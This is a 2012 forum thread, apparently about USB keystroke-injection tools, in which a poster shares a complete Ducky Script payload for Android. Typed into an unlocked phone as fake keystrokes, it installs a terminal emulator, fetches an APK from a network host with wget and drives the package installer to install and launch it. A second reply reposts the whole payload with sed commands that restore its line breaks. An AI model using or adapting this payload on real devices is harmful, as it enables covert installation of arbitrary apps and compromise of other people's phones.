KoryusaiKun Posted December 7, 2012 Share Posted December 7, 2012 (edited) Hi Guys n' Girls, Here's my first payload in a while. What it dose is it opens the Play Store, Search's for terminal emulator, installs it form the store, opens it. Now wgets a file ( I used kos's AntiGuard.apk hosted locally, its the apk i had to hand :) ) then takes you to the install wizard, installs it, then runs it. All in about 20 Seconds. :) It could be quicker, this should work on most devices 4.0 and above i have only tryed it on my Samsung galaxy note II N7100 running android v4.1.1. You may just have to tweek a few things. Like the download URL and the file URI. Here is a demo as promised: This script was very annoying solely because of launching the android install wizard. If you use it please say thanks. REM ----------------------------------------------------REM Terminal emulator wget install and run V1.0REM Tested on Samsung Galaxy note II Android V4.1.1REM Koryusai-KunREM ----------------------------------------------------DELAY 3000DELAY 100ESCAPEESCAPEESCAPEESCAPEESCAPEESCAPEREM open google searchCTRL zDELAY 1200REM open play storeSTRING play storeDELAY 1000DOWNDOWNDOWNDOWNENTERDELAY 2000REM Start Search for 'Terminal Emulator'STRING tDELAY 75STRING eDELAY 75STRING rDELAY 75STRING mDELAY 75STRING iDELAY 75STRING nDELAY 75STRING aDELAY 75STRING l emulatorDELAY 500ENTERREM Select 'Terminal Emulator', Install and openDELAY 1000DOWNDOWNDELAY 50ENTERDELAY 300DOWNRIGHTENTERDELAY 500DOWNDOWNENTERDELAY 300ENTERDELAY 2000DOWNDOWNRIGHTENTERDELAY 800REM Change Dir to /mnt/sdcard/STRING cd ..DELAY 50ENTERSTRING cd ..DELAY 50ENTERSTRING cd mntDELAY 50ENTERSTRING cd sdcardDELAY 50ENTERDELAY 50REM wget the file and open the android package install wizardSTRING wget http://192.168.1.103/AntiGuard.apk; am start -a android.intent.action.MAIN -n com.android.packageinstaller/.PackageInstallerActivity -d file:////mnt//sdcard//AntiGuard.apkENTERREM Go through the install then open the applicationDELAY 2500DOWNDELAY 200DOWNDELAY 200ENTERDELAY 1500DOWNDELAY 500DOWNDELAY 500DOWNDELAY 500ENTER[/CODE] Edited December 9, 2012 by KoryusaiKun Quote Link to comment Share on other sites More sharing options...
overwraith Posted December 9, 2012 Share Posted December 9, 2012 (edited) I noticed that when we copy and paiste off this website all the newlines go missing. I have installed CYGWIN on my computer so It has the bash executables accessible on my command line. Here is a command to insert all the newlines back into the script on a Windows 7 CYGWIN system. Im not very used to coding in bash, so im sure there are better ways to code this. C:\Users\UserName\Desktop>set var1="REM ----------------------------------------- -----------REM Terminal emulator wget install and run V1.0REM Tested on Samsung Galaxy note II Android V4.1.1REM Koryusai-KunREM ------------------------------- ---------------------DELAY 3000DELAY 100ESCAPEESCAPEESCAPEESCAPEESCAPEESCAPEREM open google searchCTRL zDELAY 1200REM open play storeSTRING play storeDELAY 1000 DOWNDOWNDOWNDOWNENTERDELAY 2000REM Start Search for 'Terminal Emulator'STRING tD ELAY 75STRING eDELAY 75STRING rDELAY 75STRING mDELAY 75STRING iDELAY 75STRING nD ELAY 75STRING aDELAY 75STRING l emulatorDELAY 500ENTERREM Select 'Terminal Emula tor', Install and openDELAY 1000DOWNDOWNDELAY 50ENTERDELAY 300DOWNRIGHTENTERDELA Y 500DOWNDOWNENTERDELAY 300ENTERDELAY 2000DOWNDOWNRIGHTENTERDELAY 800REM Change Dir to /mnt/sdcard/STRING cd ..DELAY 50ENTERSTRING cd ..DELAY 50ENTERSTRING cd m ntDELAY 50ENTERSTRING cd sdcardDELAY 50ENTERDELAY 50REM wget the file and open t he android package install wizardSTRING wget http://192.168.1.103/AntiGuard.apk; am start -a android.intent.action.MAIN -n com.android.packageinstaller/.Package InstallerActivity -d file:////mnt//sdcard//AntiGuard.apkENTERREM Go through the install then open the applicationDELAY 2500DOWNDELAY 200DOWNDELAY 200ENTERDELAY 1500DOWNDELAY 500DOWNDELAY 500DOWNDELAY 500ENTER" C:\Users\UserName\Desktop>echo "var1" C:\Users\UserName\Desktop>echo %var1% | sed -e "s/REM/\nREM/g" | sed -e "s/ESCAPE/\nESCAPE/g" | sed -e "s/DELAY/\nDELAY/g" | sed -e "s/STRING/\nSTRING/g" | sed -e "s/ENTER/\nENTER/g" | sed -e "s/DOWN/\nDOWN/g" | sed -e "s/UP/\nUP/g" | sed -e "s/RIGHT/\nRIGHT/g" | sed -e "s/LEFT/\nLEFT/g" | sed -e "s/CTRL/\nCTRL/g" Edited December 9, 2012 by overwraith Quote Link to comment Share on other sites More sharing options...
KoryusaiKun Posted December 10, 2012 Author Share Posted December 10, 2012 Just copy and paste it into some think like notepad++ Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.